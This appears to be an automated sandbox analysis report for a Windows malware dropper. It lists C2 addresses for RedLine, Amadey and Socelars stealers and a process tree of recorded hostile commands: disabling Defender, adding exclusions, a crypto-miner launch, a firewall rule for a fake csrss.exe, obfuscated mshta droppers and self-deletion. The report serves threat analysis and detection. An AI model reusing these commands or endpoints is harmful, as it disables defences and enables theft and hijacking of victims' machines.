Analysis

  • max time kernel
    63s
  • max time network
    150s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    09/12/2021, 22:37

General

  • Target
    0baf86bc85c38681c2b88deb869cdd74.exe
  • Size 17.9MB
  • Sample211209-2js8asfggm
  • SHA256 74bb6b2e6e0fb719237cb58c1ed17a91032ff3c8a3c11da92011b8e0ba5a1179
  • MD5 SHA1 SHA512

Malware Config

Extracted

Family
  • socelars

C2
  • http://www.wgqpw.com/

Extracted

Family
  • redline

Botnet
  • 03.12_BUILD_3

C2
  • 45.9.20.221:15590

Extracted

Family
  • amadey

Version
  • 2.85

C2
  • 185.215.113.35/d2VxjasuwS/index.php

Signatures

  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

  • LoaderBot

    LoaderBot is a loader written in .NET downloading and executing miners.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 3 IoCs
  • Socelars

    Socelars is an infostealer targeting browser cookies and credit card credentials.

  • Socelars Payload 2 IoCs
  • Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs
  • Vidar

    Vidar is an infostealer based on Arkei stealer.

  • suricata: ET MALWARE Amadey CnC Check-In

    suricata: ET MALWARE Amadey CnC Check-In

  • suricata: ET MALWARE CerberTear Ransomware CnC Checkin

    suricata: ET MALWARE CerberTear Ransomware CnC Checkin

  • suricata: ET MALWARE Suspicious Zipped Filename in Outbound POST Request (Passwords.txt)

    suricata: ET MALWARE Suspicious Zipped Filename in Outbound POST Request (Passwords.txt)

  • suricata: ET MALWARE Vidar/Arkei Stealer Client Data Upload

    suricata: ET MALWARE Vidar/Arkei Stealer Client Data Upload

  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
  • NirSoft WebBrowserPassView 2 IoCs

    Password recovery tool for various web browsers

  • Nirsoft 2 IoCs
  • ASPack v2.12-2.42 7 IoCs

    Detects executables packed with ASPack v2.12-2.42

  • Blocklisted process makes network request 1 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 61 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Drops startup file 1 IoCs
  • Loads dropped DLL 10 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Looks up geolocation information via web service

    Uses a legitimate geolocation service to find the infected system's geolocation info.

  • Suspicious use of NtSetInformationThreadHideFromDebugger 3 IoCs
  • Suspicious use of SetThreadContext 11 IoCs
  • Drops file in Program Files directory 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 6 IoCs
  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Delays execution with timeout.exe 1 IoCs
  • Kills process with taskkill 4 IoCs
  • Modifies data under HKEY_USERS 6 IoCs
  • Modifies registry class 18 IoCs
  • Script User-Agent 1 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • c:\windows\system32\svchost.exe
    c:\windows\system32\svchost.exe -k netsvcs -s gpsvc
    1⤵
      PID:324
    • c:\windows\system32\svchost.exe
      c:\windows\system32\svchost.exe -k netsvcs -s ProfSvc
      1⤵
        PID:1092
      • c:\windows\system32\svchost.exe
        c:\windows\system32\svchost.exe -k netsvcs -s Schedule
        1⤵
          PID:1036
        • c:\windows\system32\svchost.exe
          c:\windows\system32\svchost.exe -k netsvcs -s SENS
          1⤵
            PID:1440
          • c:\windows\system32\svchost.exe
            c:\windows\system32\svchost.exe -k netsvcs -s UserManager
            1⤵
              PID:1356
            • c:\windows\system32\svchost.exe
              c:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection
              1⤵
                PID:1856
              • c:\windows\system32\svchost.exe
                c:\windows\system32\svchost.exe -k netsvcs -s BITS
                1⤵
                • Suspicious use of SetThreadContext
                • Modifies data under HKEY_USERS
                • Modifies registry class
                PID:3328
                • C:\Windows\system32\svchost.exe
                  C:\Windows\system32\svchost.exe -k SystemNetworkService
                  2⤵
                  • Checks processor information in registry
                  • Modifies data under HKEY_USERS
                  • Modifies registry class
                  PID:4740
              • c:\windows\system32\svchost.exe
                c:\windows\system32\svchost.exe -k netsvcs -s WpnService
                1⤵
                  PID:2720
                • c:\windows\system32\svchost.exe
                  c:\windows\system32\svchost.exe -k netsvcs -s Winmgmt
                  1⤵
                    PID:2700
                  • c:\windows\system32\svchost.exe
                    c:\windows\system32\svchost.exe -k netsvcs -s Browser
                    1⤵
                      PID:2688
                    • c:\windows\system32\svchost.exe
                      c:\windows\system32\svchost.exe -k netsvcs -s IKEEXT
                      1⤵
                        PID:2484
                      • c:\windows\system32\svchost.exe
                        c:\windows\system32\svchost.exe -k netsvcs -s LanmanServer
                        1⤵
                          PID:2440
                        • c:\windows\system32\svchost.exe
                          c:\windows\system32\svchost.exe -k netsvcs -s Themes
                          1⤵
                            PID:1272
                          • C:\Users\Admin\AppData\Local\Temp\0baf86bc85c38681c2b88deb869cdd74.exe
                            "C:\Users\Admin\AppData\Local\Temp\0baf86bc85c38681c2b88deb869cdd74.exe"
                            1⤵
                            • Suspicious use of WriteProcessMemory
                            PID:2508
                            • C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
                              "C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
                              2⤵
                              • Executes dropped EXE
                              • Suspicious use of WriteProcessMemory
                              PID:1244
                              • C:\Users\Admin\AppData\Local\Temp\7zSCD415F16\setup_install.exe
                                "C:\Users\Admin\AppData\Local\Temp\7zSCD415F16\setup_install.exe"
                                3⤵
                                • Executes dropped EXE
                                • Loads dropped DLL
                                • Suspicious use of WriteProcessMemory
                                PID:2296
                                • C:\Windows\SysWOW64\cmd.exe
                                  C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable
                                  4⤵
                                  • Suspicious use of WriteProcessMemory
                                  PID:2864
                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                    powershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable
                                    5⤵
                                    • Suspicious behavior: EnumeratesProcesses
                                    • Suspicious use of AdjustPrivilegeToken
                                    PID:1456
                                • C:\Windows\SysWOW64\cmd.exe
                                  C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
                                  4⤵
                                  • Suspicious use of WriteProcessMemory
                                  PID:4092
                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                    powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
                                    5⤵
                                    • Suspicious behavior: EnumeratesProcesses
                                    • Suspicious use of AdjustPrivilegeToken
                                    PID:1364
                                • C:\Windows\SysWOW64\cmd.exe
                                  C:\Windows\system32\cmd.exe /c Tue122fb46061d0.exe
                                  4⤵
                                  • Suspicious use of WriteProcessMemory
                                  PID:1320
                                  • C:\Users\Admin\AppData\Local\Temp\7zSCD415F16\Tue122fb46061d0.exe
                                    Tue122fb46061d0.exe
                                    5⤵
                                    • Executes dropped EXE
                                    • Suspicious use of SetThreadContext
                                    PID:1312
                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\7zSCD415F16\Tue122fb46061d0.exe"
                                      6⤵
                                        PID:5100
                                      • C:\Users\Admin\AppData\Local\Temp\7zSCD415F16\Tue122fb46061d0.exe
                                        "C:\Users\Admin\AppData\Local\Temp\7zSCD415F16\Tue122fb46061d0.exe"
                                        6⤵
                                        • Executes dropped EXE
                                        PID:5760
                                  • C:\Windows\SysWOW64\cmd.exe
                                    C:\Windows\system32\cmd.exe /c Tue1258dc2302e.exe /mixtwo
                                    4⤵
                                    • Suspicious use of WriteProcessMemory
                                    PID:1192
                                    • C:\Users\Admin\AppData\Local\Temp\7zSCD415F16\Tue1258dc2302e.exe
                                      Tue1258dc2302e.exe /mixtwo
                                      5⤵
                                      • Executes dropped EXE
                                      • Suspicious use of SetThreadContext
                                      PID:1472
                                  • C:\Windows\SysWOW64\cmd.exe
                                    C:\Windows\system32\cmd.exe /c Tue1240771c417e2099c.exe
                                    4⤵
                                    • Suspicious use of WriteProcessMemory
                                    PID:908
                                    • C:\Users\Admin\AppData\Local\Temp\7zSCD415F16\Tue1240771c417e2099c.exe
                                      Tue1240771c417e2099c.exe
                                      5⤵
                                      • Executes dropped EXE
                                      • Suspicious use of SetThreadContext
                                      PID:1220
                                      • C:\Users\Admin\AppData\Local\Temp\7zSCD415F16\Tue1240771c417e2099c.exe
                                        C:\Users\Admin\AppData\Local\Temp\7zSCD415F16\Tue1240771c417e2099c.exe
                                        6⤵
                                        • Executes dropped EXE
                                        PID:4856
                                      • C:\Users\Admin\AppData\Local\Temp\7zSCD415F16\Tue1240771c417e2099c.exe
                                        C:\Users\Admin\AppData\Local\Temp\7zSCD415F16\Tue1240771c417e2099c.exe
                                        6⤵
                                          PID:4340
                                    • C:\Windows\SysWOW64\cmd.exe
                                      C:\Windows\system32\cmd.exe /c Tue120e0472d3f6a426f.exe
                                      4⤵
                                        PID:376
                                        • C:\Users\Admin\AppData\Local\Temp\7zSCD415F16\Tue120e0472d3f6a426f.exe
                                          Tue120e0472d3f6a426f.exe
                                          5⤵
                                          • Executes dropped EXE
                                          • Suspicious use of NtSetInformationThreadHideFromDebugger
                                          • Suspicious use of SetWindowsHookEx
                                          PID:2436
                                          • C:\Users\Admin\AppData\Local\Temp\RaptorMiner.exe
                                            "C:\Users\Admin\AppData\Local\Temp\RaptorMiner.exe"
                                            6⤵
                                            • Executes dropped EXE
                                            • Drops startup file
                                            • Adds Run key to start application
                                            • Suspicious use of AdjustPrivilegeToken
                                            PID:4560
                                            • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
                                              "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 1
                                              7⤵
                                              • Executes dropped EXE
                                              PID:5516
                                          • C:\Users\Admin\AppData\Local\Temp\9b92a9b433b0c0d63dd84651491f6889c51e4ca0(1).exe
                                            "C:\Users\Admin\AppData\Local\Temp\9b92a9b433b0c0d63dd84651491f6889c51e4ca0(1).exe"
                                            6⤵
                                            • Executes dropped EXE
                                            PID:4668
                                      • C:\Windows\SysWOW64\cmd.exe
                                        C:\Windows\system32\cmd.exe /c Tue12c4572d62260.exe
                                        4⤵
                                          PID:2460
                                          • C:\Users\Admin\AppData\Local\Temp\7zSCD415F16\Tue12c4572d62260.exe
                                            Tue12c4572d62260.exe
                                            5⤵
                                            • Executes dropped EXE
                                            • Suspicious use of SetThreadContext
                                            PID:2016
                                            • C:\Users\Admin\AppData\Local\Temp\7zSCD415F16\Tue12c4572d62260.exe
                                              Tue12c4572d62260.exe
                                              6⤵
                                              • Executes dropped EXE
                                              • Suspicious use of AdjustPrivilegeToken
                                              PID:3004
                                        • C:\Windows\SysWOW64\cmd.exe
                                          C:\Windows\system32\cmd.exe /c Tue1200def74a2ff885.exe
                                          4⤵
                                            PID:852
                                            • C:\Users\Admin\AppData\Local\Temp\7zSCD415F16\Tue1200def74a2ff885.exe
                                              Tue1200def74a2ff885.exe
                                              5⤵
                                                PID:3684
                                            • C:\Windows\SysWOW64\cmd.exe
                                              C:\Windows\system32\cmd.exe /c Tue12cb9b294f8.exe
                                              4⤵
                                                PID:972
                                                • C:\Users\Admin\AppData\Local\Temp\7zSCD415F16\Tue12cb9b294f8.exe
                                                  Tue12cb9b294f8.exe
                                                  5⤵
                                                  • Executes dropped EXE
                                                  • Suspicious use of SetThreadContext
                                                  • Suspicious use of AdjustPrivilegeToken
                                                  PID:2272
                                              • C:\Windows\SysWOW64\cmd.exe
                                                C:\Windows\system32\cmd.exe /c Tue1236cffc1548.exe
                                                4⤵
                                                • Suspicious use of WriteProcessMemory
                                                PID:3232
                                                • C:\Users\Admin\AppData\Local\Temp\7zSCD415F16\Tue1236cffc1548.exe
                                                  Tue1236cffc1548.exe
                                                  5⤵
                                                  • Executes dropped EXE
                                                  PID:2072
                                                  • C:\Windows\SysWOW64\cmd.exe
                                                    "C:\Windows\System32\cmd.exe" /c taskkill /im Tue1236cffc1548.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\7zSCD415F16\Tue1236cffc1548.exe" & del C:\ProgramData\*.dll & exit
                                                    6⤵
                                                      PID:4324
                                                      • C:\Windows\SysWOW64\taskkill.exe
                                                        taskkill /im Tue1236cffc1548.exe /f
                                                        7⤵
                                                        • Kills process with taskkill
                                                        PID:2320
                                                      • C:\Windows\SysWOW64\timeout.exe
                                                        timeout /t 6
                                                        7⤵
                                                        • Delays execution with timeout.exe
                                                        PID:4592
                                                • C:\Windows\SysWOW64\cmd.exe
                                                  C:\Windows\system32\cmd.exe /c Tue120fdd2f651bc16d.exe
                                                  4⤵
                                                    PID:1048
                                                    • C:\Users\Admin\AppData\Local\Temp\7zSCD415F16\Tue120fdd2f651bc16d.exe
                                                      Tue120fdd2f651bc16d.exe
                                                      5⤵
                                                      • Executes dropped EXE
                                                      • Suspicious use of SetThreadContext
                                                      • Suspicious use of AdjustPrivilegeToken
                                                      PID:2128
                                                  • C:\Windows\SysWOW64\cmd.exe
                                                    C:\Windows\system32\cmd.exe /c Tue121203abedb9227d.exe
                                                    4⤵
                                                      PID:1576
                                                      • C:\Users\Admin\AppData\Local\Temp\7zSCD415F16\Tue121203abedb9227d.exe
                                                        Tue121203abedb9227d.exe
                                                        5⤵
                                                        • Executes dropped EXE
                                                        • Suspicious use of SetThreadContext
                                                        • Suspicious use of AdjustPrivilegeToken
                                                        PID:2172
                                                    • C:\Windows\SysWOW64\cmd.exe
                                                      C:\Windows\system32\cmd.exe /c Tue12128b7887.exe
                                                      4⤵
                                                        PID:3884
                                                        • C:\Users\Admin\AppData\Local\Temp\7zSCD415F16\Tue12128b7887.exe
                                                          Tue12128b7887.exe
                                                          5⤵
                                                          • Executes dropped EXE
                                                          PID:3548
                                                          • C:\Users\Admin\AppData\Local\Temp\7zSCD415F16\Tue12128b7887.exe
                                                            "C:\Users\Admin\AppData\Local\Temp\7zSCD415F16\Tue12128b7887.exe"
                                                            6⤵
                                                              PID:4256
                                                              • C:\Windows\System32\cmd.exe
                                                                C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
                                                                7⤵
                                                                  PID:2132
                                                                  • C:\Windows\system32\netsh.exe
                                                                    netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
                                                                    8⤵
                                                                      PID:1192
                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                    C:\Windows\SysWOW64\WerFault.exe -u -p 4256 -s 836
                                                                    7⤵
                                                                    • Program crash
                                                                    PID:4388
                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 3548 -s 836
                                                                  6⤵
                                                                  • Program crash
                                                                  PID:3756
                                                            • C:\Windows\SysWOW64\cmd.exe
                                                              C:\Windows\system32\cmd.exe /c Tue127b676b8bfa21a.exe
                                                              4⤵
                                                                PID:2220
                                                                • C:\Users\Admin\AppData\Local\Temp\7zSCD415F16\Tue127b676b8bfa21a.exe
                                                                  Tue127b676b8bfa21a.exe
                                                                  5⤵
                                                                  • Executes dropped EXE
                                                                  PID:1044
                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                C:\Windows\system32\cmd.exe /c Tue127732f60465ed.exe
                                                                4⤵
                                                                  PID:2336
                                                                  • C:\Users\Admin\AppData\Local\Temp\7zSCD415F16\Tue127732f60465ed.exe
                                                                    Tue127732f60465ed.exe
                                                                    5⤵
                                                                      PID:3164
                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                    C:\Windows\system32\cmd.exe /c Tue1288be7dc9.exe
                                                                    4⤵
                                                                      PID:1560
                                                                      • C:\Users\Admin\AppData\Local\Temp\7zSCD415F16\Tue1288be7dc9.exe
                                                                        Tue1288be7dc9.exe
                                                                        5⤵
                                                                        • Executes dropped EXE
                                                                        • Suspicious use of SetThreadContext
                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                        PID:724
                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                      C:\Windows\system32\cmd.exe /c Tue12cc5113c749c81.exe
                                                                      4⤵
                                                                        PID:3100
                                                                        • C:\Users\Admin\AppData\Local\Temp\7zSCD415F16\Tue12cc5113c749c81.exe
                                                                          Tue12cc5113c749c81.exe
                                                                          5⤵
                                                                          • Executes dropped EXE
                                                                          PID:4064
                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                        C:\Windows\system32\cmd.exe /c Tue1218094d9d9ff55e.exe
                                                                        4⤵
                                                                          PID:736
                                                                          • C:\Users\Admin\AppData\Local\Temp\7zSCD415F16\Tue1218094d9d9ff55e.exe
                                                                            Tue1218094d9d9ff55e.exe
                                                                            5⤵
                                                                            • Executes dropped EXE
                                                                            • Checks BIOS information in registry
                                                                            • Checks whether UAC is enabled
                                                                            PID:3216
                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                          C:\Windows\system32\cmd.exe /c Tue12c14883e83c8847a.exe
                                                                          4⤵
                                                                            PID:2840
                                                                            • C:\Users\Admin\AppData\Local\Temp\7zSCD415F16\Tue12c14883e83c8847a.exe
                                                                              Tue12c14883e83c8847a.exe
                                                                              5⤵
                                                                              • Executes dropped EXE
                                                                              PID:4388
                                                                              • C:\Windows\SysWOW64\mshta.exe
                                                                                "C:\Windows\System32\mshta.exe" VbSCRipt: cLOSe ( creATEOBJeCt ( "wSCriPt.ShELL"). rUN ( "Cmd /C cOPY /Y ""C:\Users\Admin\AppData\Local\Temp\7zSCD415F16\Tue12c14883e83c8847a.exe"" Q7J2UrO1XZC8DQK.EXe && StarT Q7J2Uro1XZC8DqK.EXE -PJJdHOofvf~E& If """" == """" for %g IN ( ""C:\Users\Admin\AppData\Local\Temp\7zSCD415F16\Tue12c14883e83c8847a.exe"" ) do taskkill -f /Im ""%~NXg"" " , 0 , true ) )
                                                                                6⤵
                                                                                  PID:1020
                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                    "C:\Windows\System32\cmd.exe" /C cOPY /Y "C:\Users\Admin\AppData\Local\Temp\7zSCD415F16\Tue12c14883e83c8847a.exe" Q7J2UrO1XZC8DQK.EXe && StarT Q7J2Uro1XZC8DqK.EXE -PJJdHOofvf~E& If "" == "" for %g IN ( "C:\Users\Admin\AppData\Local\Temp\7zSCD415F16\Tue12c14883e83c8847a.exe" ) do taskkill -f /Im "%~NXg"
                                                                                    7⤵
                                                                                    • Blocklisted process makes network request
                                                                                    • Executes dropped EXE
                                                                                    PID:3684
                                                                                    • C:\Users\Admin\AppData\Local\Temp\Q7J2UrO1XZC8DQK.EXe
                                                                                      Q7J2Uro1XZC8DqK.EXE -PJJdHOofvf~E
                                                                                      8⤵
                                                                                      • Executes dropped EXE
                                                                                      PID:1988
                                                                                      • C:\Windows\SysWOW64\mshta.exe
                                                                                        "C:\Windows\System32\mshta.exe" VbSCRipt: cLOSe ( creATEOBJeCt ( "wSCriPt.ShELL"). rUN ( "Cmd /C cOPY /Y ""C:\Users\Admin\AppData\Local\Temp\Q7J2UrO1XZC8DQK.EXe"" Q7J2UrO1XZC8DQK.EXe && StarT Q7J2Uro1XZC8DqK.EXE -PJJdHOofvf~E& If ""-PJJdHOofvf~E"" == """" for %g IN ( ""C:\Users\Admin\AppData\Local\Temp\Q7J2UrO1XZC8DQK.EXe"" ) do taskkill -f /Im ""%~NXg"" " , 0 , true ) )
                                                                                        9⤵
                                                                                          PID:3940
                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                            "C:\Windows\System32\cmd.exe" /C cOPY /Y "C:\Users\Admin\AppData\Local\Temp\Q7J2UrO1XZC8DQK.EXe" Q7J2UrO1XZC8DQK.EXe && StarT Q7J2Uro1XZC8DqK.EXE -PJJdHOofvf~E& If "-PJJdHOofvf~E" == "" for %g IN ( "C:\Users\Admin\AppData\Local\Temp\Q7J2UrO1XZC8DQK.EXe" ) do taskkill -f /Im "%~NXg"
                                                                                            10⤵
                                                                                              PID:4708
                                                                                          • C:\Windows\SysWOW64\mshta.exe
                                                                                            "C:\Windows\System32\mshta.exe" vBScRIpt: close ( crEateoBJeCT( "wscRIpT.sHELl" ). RUn ( "C:\Windows\system32\cmd.exe /q /C ECho | SeT /p = ""MZ"" > 2MXG5k.pR & copy /b /y 2MXG5K.pR + A0kCLvIX.Kc + SpiKDP6.H + ApX~.n4 + G7TV3C~.QZE + P~ST7eWJ.E 9V~4.KU & starT odbcconf.exe /a { reGSVr .\9v~4.Ku } " , 0 , TrUE ) )
                                                                                            9⤵
                                                                                              PID:1380
                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                "C:\Windows\system32\cmd.exe" /q /C ECho | SeT /p = "MZ" > 2MXG5k.pR & copy /b /y 2MXG5K.pR + A0kCLvIX.Kc + SpiKDP6.H+ ApX~.n4 + G7TV3C~.QZE + P~ST7eWJ.E 9V~4.KU & starT odbcconf.exe /a { reGSVr .\9v~4.Ku}
                                                                                                10⤵
                                                                                                  PID:5980
                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                    C:\Windows\system32\cmd.exe /S /D /c" ECho "
                                                                                                    11⤵
                                                                                                      PID:5216
                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                      C:\Windows\system32\cmd.exe /S /D /c" SeT /p = "MZ" 1>2MXG5k.pR"
                                                                                                      11⤵
                                                                                                        PID:716
                                                                                                      • C:\Windows\SysWOW64\odbcconf.exe
                                                                                                        odbcconf.exe /a { reGSVr .\9v~4.Ku}
                                                                                                        11⤵
                                                                                                          PID:3852
                                                                                                  • C:\Windows\SysWOW64\taskkill.exe
                                                                                                    taskkill -f /Im "Tue12c14883e83c8847a.exe"
                                                                                                    8⤵
                                                                                                    • Kills process with taskkill
                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                    PID:3584
                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                            C:\Windows\system32\cmd.exe /c Tue12a31584cfbfc1.exe
                                                                                            4⤵
                                                                                              PID:3616
                                                                                              • C:\Users\Admin\AppData\Local\Temp\7zSCD415F16\Tue12a31584cfbfc1.exe
                                                                                                Tue12a31584cfbfc1.exe
                                                                                                5⤵
                                                                                                • Executes dropped EXE
                                                                                                PID:2340
                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                              C:\Windows\system32\cmd.exe /c Tue1223308b45.exe
                                                                                              4⤵
                                                                                                PID:1844
                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                C:\Windows\system32\cmd.exe /c Tue12fa8d5e6db2.exe
                                                                                                4⤵
                                                                                                  PID:1060
                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                  C:\Windows\system32\cmd.exe /c Tue1280bad731c48e8.exe
                                                                                                  4⤵
                                                                                                    PID:3756
                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                    C:\Windows\system32\cmd.exe /c Tue12e263ffd78424c.exe
                                                                                                    4⤵
                                                                                                      PID:2288
                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                      C:\Windows\system32\cmd.exe /c Tue126ca26de99.exe
                                                                                                      4⤵
                                                                                                        PID:1476
                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                        C:\Windows\system32\cmd.exe /c Tue126133918d2ff478c.exe
                                                                                                        4⤵
                                                                                                          PID:3264
                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zSCD415F16\Tue1258dc2302e.exe
                                                                                                    Tue1258dc2302e.exe /mixtwo
                                                                                                    1⤵
                                                                                                    • Executes dropped EXE
                                                                                                    PID:2056
                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                      C:\Windows\SysWOW64\WerFault.exe -u -p 2056 -s 844
                                                                                                      2⤵
                                                                                                      • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                      • Program crash
                                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                      PID:4148
                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zSCD415F16\Tue12e263ffd78424c.exe
                                                                                                    Tue12e263ffd78424c.exe
                                                                                                    1⤵
                                                                                                    • Executes dropped EXE
                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                    PID:1772
                                                                                                    • C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
                                                                                                      "C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
                                                                                                      2⤵
                                                                                                      • Executes dropped EXE
                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                      PID:5028
                                                                                                      • C:\Windows\system32\WerFault.exe
                                                                                                        C:\Windows\system32\WerFault.exe -u -p 5028 -s 1472
                                                                                                        3⤵
                                                                                                        • Program crash
                                                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                                        PID:1384
                                                                                                  • C:\Users\Admin\AppData\Local\Temp\is-RDK0K.tmp\Tue1280bad731c48e8.tmp
                                                                                                    "C:\Users\Admin\AppData\Local\Temp\is-RDK0K.tmp\Tue1280bad731c48e8.tmp" /SL5="$6004E,140047,56320,C:\Users\Admin\AppData\Local\Temp\7zSCD415F16\Tue1280bad731c48e8.exe"
                                                                                                    1⤵
                                                                                                    • Executes dropped EXE
                                                                                                    • Loads dropped DLL
                                                                                                    PID:4408
                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zSCD415F16\Tue12cb9b294f8.exe
                                                                                                    C:\Users\Admin\AppData\Local\Temp\7zSCD415F16\Tue12cb9b294f8.exe
                                                                                                    1⤵
                                                                                                    • Executes dropped EXE
                                                                                                    PID:4624
                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zSCD415F16\Tue121203abedb9227d.exe
                                                                                                    C:\Users\Admin\AppData\Local\Temp\7zSCD415F16\Tue121203abedb9227d.exe
                                                                                                    1⤵
                                                                                                    • Executes dropped EXE
                                                                                                    PID:4704
                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                      "C:\Windows\System32\cmd.exe" /c echo Y|CACLS "C:\Users\Admin\AppData\Local\Temp\6829558ede\tkools.exe" /P "Admin:N"
                                                                                                      2⤵
                                                                                                        PID:3372
                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                          C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                                                                                                          3⤵
                                                                                                            PID:1236
                                                                                                          • C:\Windows\SysWOW64\cacls.exe
                                                                                                            CACLS "C:\Users\Admin\AppData\Local\Temp\6829558ede\tkools.exe" /P "Admin:N"
                                                                                                            3⤵
                                                                                                              PID:4156
                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                            "C:\Windows\System32\cmd.exe" /c CACLS "C:\Users\Admin\AppData\Local\Temp\6829558ede\tkools.exe" /P "Admin:R" /E
                                                                                                            2⤵
                                                                                                              PID:4356
                                                                                                              • C:\Windows\SysWOW64\cacls.exe
                                                                                                                CACLS "C:\Users\Admin\AppData\Local\Temp\6829558ede\tkools.exe" /P "Admin:R" /E
                                                                                                                3⤵
                                                                                                                • Executes dropped EXE
                                                                                                                PID:4340
                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                              "C:\Windows\System32\cmd.exe" /c echo Y|CACLS "C:\Users\Admin\AppData\Local\Temp\6829558ede" /P "Admin:N"
                                                                                                              2⤵
                                                                                                                PID:1452
                                                                                                                • C:\Windows\SysWOW64\cacls.exe
                                                                                                                  CACLS "C:\Users\Admin\AppData\Local\Temp\6829558ede" /P "Admin:N"
                                                                                                                  3⤵
                                                                                                                    PID:4268
                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
